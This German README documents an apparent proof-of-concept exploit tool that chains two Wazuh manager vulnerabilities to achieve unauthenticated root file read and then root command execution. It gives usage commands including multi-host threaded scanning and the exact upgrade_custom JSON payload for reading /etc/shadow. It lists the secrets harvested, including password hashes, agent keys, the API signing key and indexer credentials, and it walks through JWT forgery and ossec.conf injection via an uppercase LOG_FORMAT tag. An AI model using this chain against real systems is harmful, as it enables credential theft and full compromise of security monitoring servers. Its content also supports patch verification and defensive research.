
Wazuh-PoC, das CVE-2026-74034 (Dateilesen) und CVE-2026-74041 (Befehlsausführung) verkettet; behoben in 4.14.8. Nur Python-Standardbibliothek.
Einzeldatei-PoC für mehrere Hosts, nur mit der Standardbibliothek, das CVE-2026-74034 und CVE-2026-74041 verkettet. Beide Advisories wurden am 13. Oktober 2026 veröffentlicht; die Korrekturen wurden mit Wazuh 4.14.8 am 23. September 2026 ausgeliefert. Version 4.14.8 ist die gepatchte Version, kein betroffenes Ziel.
Das Skript implementiert die folgende Kette, wenn die erforderlichen Manager-Dienste erreichbar sind und passwortlose Agent-Registrierung aktiviert ist:
recon :55000/:1515/:1514
│
├─ Phase 2 anonymous enrollment on TCP/1515 (TLS) ──► agent id + 64-hex key
│
├─ Phase 3 OSSEC agent secure channel on TCP/1514 ──► CVE-2026-74034
│ queue 'u' (UPGRADE_MQ) upgrade_custom arbitrary ROOT file read
│ with parameters.file_path = /etc/shadow …
│
└─ Phase 4 ES512 JWT forged from the leaked ──► CVE-2026-74041
/var/ossec/api/configuration/security/ ROOT RCE via the
private_key.pem → PUT /manager/configuration check_remote_commands
parser differential (+ restart) parser differential
Es sind keine vorab vorhandenen Anmeldedaten erforderlich, wenn die standardmäßig ausgelieferte passwortlose authd-Registrierung erreichbar ist (<auth><use_password>no</use_password>). Ein Registrierungspasswort oder ein erforderliches Client-Zertifikat ändert diese Voraussetzung. CVE-2026-74041 allein erfordert einen authentifizierten API-Benutzer mit Berechtigung zur Konfigurationsaktualisierung; in dieser Kette folgt der API-Zugriff auf die Offenlegung des Signaturschlüssels.
| CVE | CVSS / Vektor | Betroffen | Kurzbeschreibung |
|---|---|---|---|
| CVE-2026-74034 | 7.5, PR:N | >=4.1.0 <4.14.8 | upgrade_custom parameters.file_path wird von ROOT wm_agent_upgrade mit nur einer wfopen()-Existenzprüfung geöffnet und an den registrierten Agenten zurückgestreamt → beliebiges Root-Dateilesen |
| CVE-2026-74041 | 9.1 (CVSS 3.1), PR:H | >=4.14.3 <4.14.8 | check_remote_commands akzeptiert ein großgeschriebenes <LOG_FORMAT>, das der case-sensitive Python-Validator übersieht, der case-insensitive C-Logcollector jedoch berücksichtigt → full_command localfile als root |
Die beiden Versionsbereiche beschreiben die einzelnen Schwachstellen; die dokumentierte Überschneidung für die vollständige Kette ist >=4.14.3 <4.14.8. Andere Advisories liegen außerhalb dieses PoC.
pip, kein pycryptodome, keine cryptography).1515, 1514, 55000.# single host
python3 wazuh_poc.py 192.0.2.10
python3 wazuh_poc.py 192.0.2.10 --port 55000
python3 wazuh_poc.py https://192.0.2.10:55000
python3 wazuh_poc.py 192.0.2.10:55000
# many hosts, one per line ('#' comments allowed)
python3 wazuh_poc.py -f hosts.txt --threads 10
# phases 1-3 only (no config write / restart)
python3 wazuh_poc.py -f hosts.txt --no-rce
# leave the uploaded config / marker in place (NO cleanup)
python3 wazuh_poc.py 192.0.2.10 --keep
# override the phase-4 root command
python3 wazuh_poc.py 192.0.2.10 --cmd 'id; hostname > /var/ossec/etc/lists/zz_pwned 2>&1'
| Flag | Standard | Bedeutung |
|---|---|---|
--port | 55000 | Wazuh-REST-API-Port |
--authd-port | 1515 | authd-Registrierungsport |
--remoted-port | 1514 | Port des sicheren Agent-Kanals |
--timeout | 10 | Socket-Timeout (s) |
--agent-name | poc-<rand8> | Name, der auf dem Manager registriert wird |
--cmd | (id; hostname) > …/zz_pwned | Root-Befehl in Phase 4 |
--no-rce | aus | Phase 4 überspringen |
--keep | aus | ossec.conf nicht wiederherstellen / Marker nicht löschen |
--debug | aus | Protokollnachrichten ausgeben |
--threads | 5 | Host-Parallelität |
--api-user | wazuh | Benutzername, der in das gefälschte JWT eingetragen wird |
Der Exit erfolgt pro Host stets sauber: Eine Ablehnung, ein passwortgeschütztes authd, eine gepatchte Version oder eine Krypto-Abweichung wird mit der genauen blockierenden Stelle gemeldet, und der Lauf wird mit den verbleibenden Hosts fortgesetzt.
Prüft TCP 55000 (API), 1515 (authd), 1514 (remoted). Fordert GET / mit
deaktivierter TLS-Verifikation an und meldet api_version, wenn die API diese
unauthentifiziert preisgibt. Bei gehärteten Builds liefert GET / einen 401; die tatsächliche Manager-Version
wird dann in Phase 3 aus /var/ossec/VERSION.json ermittelt und gegen
4.14.8 abgeglichen.
TLS-Verbindung (authd ab 4.4 ist nur noch TLS-fähig; das Skript versucht für sehr
alte Builds zusätzlich reines TCP), dann OSSEC A:'<name>'\n. Der Manager antwortet mit
OSSEC K:'<id> <name> <ip> <key>'; das Skript behält den 64-stelligen Hex-Agent-Schlüssel.
Reproduziert die Wazuh-Agent-Kryptografie aus src/os_crypto/shared/msgs.c:
[4-Byte-Little-Endian-Länge][Payload]!<id>!#AES:<ciphertext> für dynamische (ip=any) AgentsMD5(agent_key_hex) (32 ASCII-Bytes), IV FEDCBA0987654321,
PKCS#7!…!-Padding + zlib(MD5_hex(plain) + "%05rand%010global:%04local:" + msg)Es sendet #!-agent startup {"version":"v4.14.6"} und einen Keepalive mit Ubuntu-
Plattform/Arch, damit der Agent in der globalen DB active wird, dann eine Queue-u-
(UPGRADE_MQ)-Aufgabe:
{"command":"upgrade_custom","parameters":{"file_path":"/etc/shadow","installer":"upgrade.sh"}}
analysisd leitet sie an WM_UPGRADE_SOCK weiter; das ROOT-wazuh-modulesd öffnet die Datei
(wfopen, keine Pfad-/Endungs-/Signaturprüfungen) und streamt die Rohbytes als
base64-write-Chunks zurück. Das Skript setzt sie wieder zusammen und gibt live [ACC]-Zeilen aus:
| Datei | Behandlung |
|---|---|
/etc/shadow | nur root:- / wazuh:-Zeilen (Hash vollständig ausgegeben) |
/var/ossec/etc/client.keys | vollständig (auf 25 Zeilen gekürzt, Bytes gezählt) |
/var/ossec/etc/authd.pass | vollständig (fehlt bei anonymer Registrierung) |
/var/ossec/api/configuration/security/private_key.pem | vollständig |
/var/ossec/etc/ossec.conf | Cluster-<key>, Indexer-Zugangsdaten, <auth>-Passwort |
/var/ossec/VERSION.json | Versions-Fallback für Recon |
Zwischen den Dateien sendet das Skript upgrade_update_status (andernfalls behält der Task-Manager
den Agenten auf In progress und verweigert die nächste Aufgabe).
iss=wazuh, aud="Wazuh API REST", sub=wazuh, rbac_roles=[1],
rbac_mode=white, exp-nbf=900). Verifiziert gegen GET /agents.GET /manager/configuration?raw=true, vor dem letzten
</ossec_config> ein <localfile> mit einem kleingeschriebenen <log_format>syslog</log_format>-Köder
und einem großgeschriebenen <LOG_FORMAT>full_command</LOG_FORMAT> plus dem Befehl einfügen.PUT /manager/configuration (application/octet-stream), dann PUT /manager/restart.GET /lists/files/zz_pwned?raw=true abfragen, um die Ausgabe des Root-Befehls zu erhalten.--keep: die ursprüngliche ossec.conf per PUT zurückschreiben, neu starten und
DELETE /lists/files/zz_pwned (mit Wiederholungen, bis der Marker verschwunden ist).